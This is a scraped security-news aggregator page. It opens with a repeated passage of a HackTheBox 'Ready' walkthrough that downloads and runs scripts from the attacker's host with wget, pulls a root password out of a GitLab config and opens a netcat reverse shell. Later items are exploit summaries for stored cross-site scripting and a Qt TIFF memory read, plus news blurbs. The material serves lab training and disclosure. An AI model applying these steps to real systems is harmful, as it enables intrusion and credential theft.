Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Ready HackTheBox Walkthrough Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Ready,’ which is available online for those who want to increase their skills in penetration testing and Black…
t shell, we uploaded linpeas from local machine to victim machine, the script will look for possible paths to escalate privileges.<o:p
wget 10.10.14.108:8000/linpeas.sh<o:p
chmod 777 linpeas.sh<o:p
./linpeas.sh <o:p https://1.bp.blogspot.com/-0Vt0t-g8c2Q/YK0FuCDkMOI/AAAAAAAAwO8/baaascdul9EUlZAprWXpVr87mj61MAm-wCLcBGAsYHQ/s16000/8.png Privilege Escalation<o:pThe result below from linpeas tell us that we are in docker container, so we do some enumeration.<o:p <o:phttps://1.bp.blogspot.com/-IrzSKeM-AGI/YK0FzLifMwI/AAAAAAAAwPA/x5-9rtg3-2sMjnfE98s_auKbPrjW6BxygCLcBGAsYHQ/s16000/9.png <o:pAfter enumeration we found gitlab.rb inside the directory /opt/backup and the file contains smtp user login credentials. The credentials are useful for us if they are used by other users such as root. So, when we tried to login as root, and we successfully logged in.<o:p
But when we looked for root.txt it was not present in root directory because we are in privilege docker container which can be escaped to get root flag.<o:p
cd /opt<o:p
ls<o:p
cd /backup<o:p
ls<o:p
cat gitlab.rb | grep password<o:p
su root<o:p
Password : wW59U!ZKMbG9+*#h<o:p
<o:p https://1.bp.blogspot.com/-qiARL1kh8V8/YK0F6tchgAI/AAAAAAAAwPI/ey7pivyGtxQykwZVLcDqqNJdOhTlmfL8gCLcBGAsYHQ/s16000/10.png <o:p Escaping docker container<o:pSo, to get root flag and to escape docker container we created a bash on our local machine with the help of the article here.<o:p
<o:p https://1.bp.blogspot.com/-oK6GS6-2uIo/YK0F_jqeodI/AAAAAAAAwPQ/SELC6C2IY681uZyOBlS4lqLrjB5Afj8pQCLcBGAsYHQ/s16000/11.png <o:p
Next, we started python one liner SimpleHttpServer in our local machine to transfer the file from our machine to victim machine.<o:p
<o:p https://1.bp.blogspot.com/-SCN_eCeEpx4/YK0GECQscwI/AAAAAAAAwPY/rjSvVNoA1_cFTEeol88sdxyJO5IgP8vowCLcBGAsYHQ/s16000/12.png <o:p
cd /tmp<o:p
wget 10.10.14.108:8000/raj.sh<o:p
chmod 777 raj.sh<o:p
./raj.sh<o:p
<o:p https://1.bp.blogspot.com/-yVxZdpCYkDg/YK0GInWLThI/AAAAAAAAwPc/QHtH_WlBFLQpbD7-MBzjO6esNwlhMLlHwCLcBGAsYHQ/s16000/14.png <o:p
Finally, we started netcat listener on port 9000 in other terminal which gave us reverse shell of the root user. <o:p
nc -lvp 9000 <o:p
cd /root<o:p
ls<o:p
cat root.txt<o:p https://1.bp.blogspot.com/-rIy4H-DjqK8/YK0GNgRBPsI/AAAAAAAAwPk/9ns1TsyVvxIOyBQX8xpLiRLZsssOQ4A_ACLcBGAsYHQ/s16000/15.png Author: Prabhjot Dunglay is a Cyber Security Enthusiast with 2 years of experience in Penetration Testing at Hacking Articles, Ignite technologies. Contact here.<o:p
<o:p
<o:p
wget 10.10.14.108:8000/linpeas.sh<o:p
chmod 777 linpeas.sh<o:p
./linpeas.sh <o:p https://1.bp.blogspot.com/-0Vt0t-g8c2Q/YK0FuCDkMOI/AAAAAAAAwO8/baaascdul9EUlZAprWXpVr87mj61MAm-wCLcBGAsYHQ/s16000/8.png Privilege Escalation<o:pThe result below from linpeas tell us that we are in docker container, so we do some enumeration.<o:p <o:phttps://1.bp.blogspot.com/-IrzSKeM-AGI/YK0FzLifMwI/AAAAAAAAwPA/x5-9rtg3-2sMjnfE98s_auKbPrjW6BxygCLcBGAsYHQ/s16000/9.png <o:pAfter enumeration we found gitlab.rb inside the directory /opt/backup and the file contains smtp user login credentials. The credentials are useful for us if they are used by other users such as root. So, when we tried to login as root, and we successfully logged in.<o:p
But when we looked for root.txt it was not present in root directory because we are in privilege docker container which can be escaped to get root flag.<o:p
cd /opt<o:p
ls<o:p
cd /backup<o:p
ls<o:p
cat gitlab.rb | grep password<o:p
su root<o:p
Password : wW59U!ZKMbG9+*#h<o:p
<o:p https://1.bp.blogspot.com/-qiARL1kh8V8/YK0F6tchgAI/AAAAAAAAwPI/ey7pivyGtxQykwZVLcDqqNJdOhTlmfL8gCLcBGAsYHQ/s16000/10.png <o:p Escaping docker container<o:pSo, to get root flag and to escape docker container we created a bash on our local machine with the help of the article here.<o:p
<o:p https://1.bp.blogspot.com/-oK6GS6-2uIo/YK0F_jqeodI/AAAAAAAAwPQ/SELC6C2IY681uZyOBlS4lqLrjB5Afj8pQCLcBGAsYHQ/s16000/11.png <o:p
Next, we started python one liner SimpleHttpServer in our local machine to transfer the file from our machine to victim machine.<o:p
<o:p https://1.bp.blogspot.com/-SCN_eCeEpx4/YK0GECQscwI/AAAAAAAAwPY/rjSvVNoA1_cFTEeol88sdxyJO5IgP8vowCLcBGAsYHQ/s16000/12.png <o:p
cd /tmp<o:p
wget 10.10.14.108:8000/raj.sh<o:p
chmod 777 raj.sh<o:p
./raj.sh<o:p
<o:p https://1.bp.blogspot.com/-yVxZdpCYkDg/YK0GInWLThI/AAAAAAAAwPc/QHtH_WlBFLQpbD7-MBzjO6esNwlhMLlHwCLcBGAsYHQ/s16000/14.png <o:p
Finally, we started netcat listener on port 9000 in other terminal which gave us reverse shell of the root user. <o:p
nc -lvp 9000 <o:p
cd /root<o:p
ls<o:p
cat root.txt<o:p https://1.bp.blogspot.com/-rIy4H-DjqK8/YK0GNgRBPsI/AAAAAAAAwPk/9ns1TsyVvxIOyBQX8xpLiRLZsssOQ4A_ACLcBGAsYHQ/s16000/15.png Author: Prabhjot Dunglay is a Cyber Security Enthusiast with 2 years of experience in Penetration Testing at Hacking Articles, Ignite technologies. Contact here.<o:p
<o:p
<o:p
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Time HackTheBox Walkthrough
Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Time,’ which is available online for those who want to increase their skills in penetration testing and Black box testing. The challenge was designed by egotisticalSW & felamos. Level: Medium Task: Find user.txt and root.txt in the victim’s
The post Time HackTheBox Walkthrough appeared first on Hacking Articles.
Time HackTheBox Walkthrough
Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Time,’ which is available online for those who want to increase their skills in penetration testing and Black box testing. The challenge was designed by egotisticalSW & felamos. Level: Medium Task: Find user.txt and root.txt in the victim’s
The post Time HackTheBox Walkthrough appeared first on Hacking Articles.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Ready HackTheBox Walkthrough
Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Ready,’ which is available online for those who want to increase their skills in penetration testing and Black box testing. The challenge was designed by bertolis. Level: Medium Task: Find user.txt and root.txt in the victim’s machine Penetration
The post Ready HackTheBox Walkthrough appeared first on Hacking Articles.
Ready HackTheBox Walkthrough
Hello! Everyone and Welcome to yet another CTF challenge from Hack the Box, called ‘Ready,’ which is available online for those who want to increase their skills in penetration testing and Black box testing. The challenge was designed by bertolis. Level: Medium Task: Find user.txt and root.txt in the victim’s machine Penetration
The post Ready HackTheBox Walkthrough appeared first on Hacking Articles.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
The Adversary Within: Preventing Disaster From Insider Threats
Insiders are in a position of trust, and their elevated permissions provide opportunities to cause serious harm to critical business applications and processes.
___________________________
@hacking_Attack
@Hacking_Video
The Adversary Within: Preventing Disaster From Insider Threats
Insiders are in a position of trust, and their elevated permissions provide opportunities to cause serious harm to critical business applications and processes.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
The Adversary Within: Preventing Disaster From Insider Threats
Insiders are in a position of trust, and their elevated permissions provide opportunities to cause serious harm to critical business applications and processes.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
Uptycs Offers Resilience Formula to Boost Business Continuity
SPONSORED CONTENT: Breaches and data loss are inevitable, but customers can bounce back more readily with some planning and foresight, says Ganesh Pai, CEO and founder of Uptycs. He suggests a trajectory for customers looking to improve their own resilience, starting with proactiveness, followed by reactivity, then predictive capabilities and better protection.
Uptycs Offers Resilience Formula to Boost Business Continuity
SPONSORED CONTENT: Breaches and data loss are inevitable, but customers can bounce back more readily with some planning and foresight, says Ganesh Pai, CEO and founder of Uptycs. He suggests a trajectory for customers looking to improve their own resilience, starting with proactiveness, followed by reactivity, then predictive capabilities and better protection.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
Your Network's Smallest Cracks Are Now Its Biggest Threats
Bad actors have flipped the script by concentrating more on low-risk threats. Here's how to address the threat and the tactics.
___________________________
@hacking_Attack
@Hacking_Video
Your Network's Smallest Cracks Are Now Its Biggest Threats
Bad actors have flipped the script by concentrating more on low-risk threats. Here's how to address the threat and the tactics.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
Your Network's Smallest Cracks Are Now Its Biggest Threats
Bad actors have flipped the script by concentrating more on low-risk threats. Here's how to address the threat and the tactics.
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Links To Highly Vulnerable VM's
Hey guys, I'm currently studying Information Security and I'm looking to create a network with a bunch of highly vulnerable VM's that I can exploit for practice. I was hoping you guys could help me with some links to virtual machine images (preferably Windows) that I can use to practice on?
submitted by /u/RW_Ravey
[link] [comments]
Links To Highly Vulnerable VM's
Hey guys, I'm currently studying Information Security and I'm looking to create a network with a bunch of highly vulnerable VM's that I can exploit for practice. I was hoping you guys could help me with some links to virtual machine images (preferably Windows) that I can use to practice on?
submitted by /u/RW_Ravey
[link] [comments]
reddit
Links To Highly Vulnerable VM's
Hey guys, I'm currently studying Information Security and I'm looking to create a network with a bunch of highly vulnerable VM's that I can...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Gadget Works Online Ordering System 1.0 Cross Site Scripting
https://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png
Gadget Works Online Ordering System version 1.0 suffers from a persistent cross site scripting vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Gadget Works Online Ordering System 1.0 Cross Site Scripting
https://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png
Gadget Works Online Ordering System version 1.0 suffers from a persistent cross site scripting vulnerability.
MD5 |
e4bfcff3637affdf8aaf64f77b30538dDownload
# Exploit Title: Gadget Works Online Ordering System 1.0 - 'Category' Persistent Cross-Site Scripting (XSS)
# Date: 24-05-2021
# Exploit Author: Vinay H C
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/13093/gadget-works-online-ordering-system-phpmysqli.html
# Version: 1.0
# Tested on: Windows 10/XAMPP
Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.
Attack Vector :
This vulnerability can result in the attacker to inject the XSS payload in the add Category field of the page and each time any user will open the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.
Vulnerable Parameters: +New==>Category input field.
Payload :
Vulnerable URL :
http://localhost/philosophy/admin/category/index.php?view=add
Steps To Reproduce :
1) Go to the admin Dashboard
2) Click on New and select Category..
3) Put Payload into the 'Add Category' parameter.
4) Click on Save.
5) XSS payload will be triggered.
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
WordPress Cookie Law Bar 1.2.1 Cross Site Scripting
https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
WordPress Cookie Law Bar plugin version 1.2.1 suffers from a persistent cross site scripting vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
WordPress Cookie Law Bar 1.2.1 Cross Site Scripting
https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
WordPress Cookie Law Bar plugin version 1.2.1 suffers from a persistent cross site scripting vulnerability.
MD5 |
77834bde8a48524c03aaf85577842c66Download
# Exploit Title: WordPress Plugin Cookie Law Bar 1.2.1 - 'clb_bar_msg' Stored Cross-Site Scripting (XSS)
# Date: 2021-05-24
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.cookielawinfo.com/wordpress-plugin/
# Software Link: https://wordpress.org/plugins/cookie-law-bar/
# Version: 1.2.1
# Tested on: Ubuntu 16.04 LTS, Wordpress 5.7.2
# the "Bar Message" text field is vulnerable to stored XSS due to unsanitized user input
# an authenticated attacker can retrieve cookies / sensitive data of all Wordpress users
# proof of concept
# navigate to the settings of the Cookie Law Bar under
http://localhost/wp-admin/options-general.php?page=clb
# inject the payload: into the "Bar Message field" and save it
# browsing through the Wordpress pages shows the cookies
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
QT TIFF Processing Out-Of-Bounds Read
https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
The QImageReader class can read out-of-bounds when converting a specially-crafted TIFF file into a QImage, where the TIFF tile length is inconsistent with the tile size. This could potentially allow an attacker to determine values in memory based of the QImage pixels, if QT is used to process untrusted images.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
QT TIFF Processing Out-Of-Bounds Read
https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
The QImageReader class can read out-of-bounds when converting a specially-crafted TIFF file into a QImage, where the TIFF tile length is inconsistent with the tile size. This could potentially allow an attacker to determine values in memory based of the QImage pixels, if QT is used to process untrusted images.
MD5 |
5ab17349daeac6651bf3ab6ee0c7fee9Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
QT TIFF Processing Out-Of-Bounds Read
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.